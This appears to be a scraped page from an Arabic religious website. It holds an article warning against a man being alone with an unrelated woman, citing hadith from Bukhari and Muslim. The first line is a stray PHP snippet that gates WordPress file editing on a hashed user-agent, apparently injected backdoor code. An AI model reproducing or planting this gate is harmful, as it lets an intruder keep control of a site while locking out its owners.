if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الخلوة وخطرها - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الخلوة وخطرها

من أسباب الفتنة وأعظمها، خلوة الرجل بالمرأة من غير محارمه، فالخلوة بالمرأة الأجنبية محرمٌ سواءٌ كانت هذه الخلوة في منزل، في مكتب، في سيارة أو غير ذلك من الأماكن، قد دلت الأحاديث الكثيرة على التحريم كما في حديث ابن عباس رضي الله عنهما أن رسول الله صلى الله عليه وسلم قال: «لا يَخْلُوَنَّ رَجُلٌ بامْرَأَةٍ إلَّا مع ذِي مَحْرَمٍ»[1] [أخرجه الإمام البخاري ومسلم] وفي حديث عقبة بن عامر رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: «إيَّاكم والدُّخولَ على النِّساءِ، فقال رجُلٌ مِنَ الأنصارِ: يا رسولَ اللهِ، أفَرأيْتَ الحَمْوَ؟ قال: الحَمْوُ المَوتُ»[2] [الحديث متفقٌ عليه] والحمو: هو قريب الزوج كأخيه وابن أخيه وابن عمه، ولا شك أن هذه الخلوة محرمة شرعًا وسببٌ من أعظم أسباب الفواحش ويحصل بسببها الشر العظيم فإنه ما خلا رجلٌ بامرأة إلا كان الشيطان ثالثهما، وما ظنك باثنين ثالثهما الشيطان، الشيطان حريصٌ جد حريص على إغواء بني آدم وإيقاعهم في المعاصي والفواحش، ولهذا يسول ويوسوس في النفوس إذا خلا رجلٌ بامرأة إلى الوقوع فيما حرم الله، وما حصلت الفواحش وانتشرت في مجتمعات الناس اليوم إلا بالتساهل بالخلوة وغيرها والاختلاط المحرم والسفر بدون محرم والدخول على النساء وكشف الوجوه والمحاسن، كل ذلك حرمه الشارع ذلكم أن الشارع الحكيم لما حرم الزنا وجعله فاحشةً ومقتًا وساء سبيلًا، حرم كل طريقٍ يوصل إليه، فكل طريقٍ يوصل إلى الزنا فهو محرم ولهذا لم يقل جل شأنه وتقدس اسمه: لا تزنوا، قال: {وَلَا تَقْرَبُوا الزِّنَا} [الإسراء: ٣٢]، فكل طريقٍ يوصل إلى الزنا فهو مُحرم إذ الوسائل لها أحكام المقاصد، ومن هذه الوسائل التي توصل إلى الزنا وإلى الفواحش خلوة الرجل بامرأةٍ أجنبية، حتى الطبيب مع الممرضة في غرفة يغلق عليه وعليها، نقول: هذه خلوة محرمة ولا ميثاق يمنع من ذلك كما يزعم بعضهم أن عند الأطباء ميثاق وقد أخذوا العهد، نقول: سبحان الله، الله جل شأنه حرج وحرم الخلوة هذه لسان رسوله صلى الله عليه وسلم ومنعها منعًا باتًا، وأمر ألا يخلو رجلٌ بامرأة إلا ومعها محرم، ولهذا بعض الرجال يدخل زوجته عند طبيبٍ بدون أن يدخل معها، يقول: هي عند طبيب النساء أو طبيب الأسنان، نقول: سبحان الله، كيف ترضى يا صاحب الغيرة أن تدخل زوجتك أو موليتك كأختك أو بنتك عند رجلٍ يُغلق عليه وعليها الباب، فإن قال: معها ممرضة، نقول: هذه الممرضة التي رضيت بالخلوة مع هذا الرجل، هل عندها غيرة على محارمك وعرضك؟ ثم هذه الممرضة تدخل وتخرج متى شاءت ومتى أرادت ومتى شاء الطبيب وأراد، ولهذا لا يحل للرجل الذي في قلبه غيرة الإيمان أن يُقر دخول زوجته على رجلٍ أجنبيٍ ولا العكس بأن يدخل عليها رجل أجنبي حتى لو كان أقرب قريب ما دام أنه ليس من المحارم، ولهذا لما منع صلى الله عليه وسلم وحذر وقال: «إيَّاكم والدُّخولَ على النِّساءِ، فقال رجُلٌ مِنَ الأنصارِ: يا رسولَ اللهِ، أفَرأيْتَ الحَمْوَ؟ ظن أنه سيُستثنى لأنه قريب وربما عنده شيء من الغيرة على عرض أخيه أو عرض ابن عمه فقال صَلَّى الله عَلَيْهِ وَسَلَّمْ: الحَمْوُ المَوتُ» فحذر منه غاية التحذير؛ لأنه لا يُستنكر دخوله، حتى الجيران والأقارب والأصحاب يرونه يدخل بيت أخيه ما يستنكرون ولا يستغربون، يقولون: فلان عند فلان، يظنون أن صاحب البيت موجود وحينئذٍ تقع الطوام والمصائب العظام بسبب التساهل ومخالفة كلام سيد الأنام صلى الله عليه وعلى آله وسلم، قال صلى الله عليه وسلم: الحمو الموت، يعني احذر منه كما تحذر من الموت؛ فإنه يقع في دخوله وخلوته بزوجة أخيه أو زوجة ابن عمه ما لا تُحمد عقباه، والغريب المدهش أن من مجتمعات المسلمين اليوم من يمنع امتناع المرأة عما حرم الله ويعدون ذلك عيبًا وخرقًا للعادات الجاهلية، فإذا كان الرجل مثلًا في المدينة هو وزوجه فقدم أخوه أو ابن عمه يُشكل عليهم منع هذا صاحب البيت بقاء أخيه أو بقاء ابن عمه حال غيابه، ويقول: أنت ما تستحي ولا تُقدر العادات، نقول: سبحان الله، الذي يأخذ بالشرع هو اللي ما يستحي؟ اللي ما يستحي هو اللي يخالف الشـرع، الذي لا يستحي من الله ولا رسوله صلى الله عليه وسلم حق الحياء هو الذي يخالف الشـريعة، وإذا قال: نحن نثق، نقول: سبحان الله، هذه الثقة الشيطانية، تثق بالشيطان؟ النبي صلى الله عليه وسلم يقول: ما خلا رجل بامرأة إلا كان الشيطان ثالثهما، فإذا وثقت فقد وثقت بالشيطان وخلوته وتحريشه وإغوائه وإضلاله.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5233)، ومسلم (1341).

[2] أخرجه البخاري (5232)، ومسلم (2172).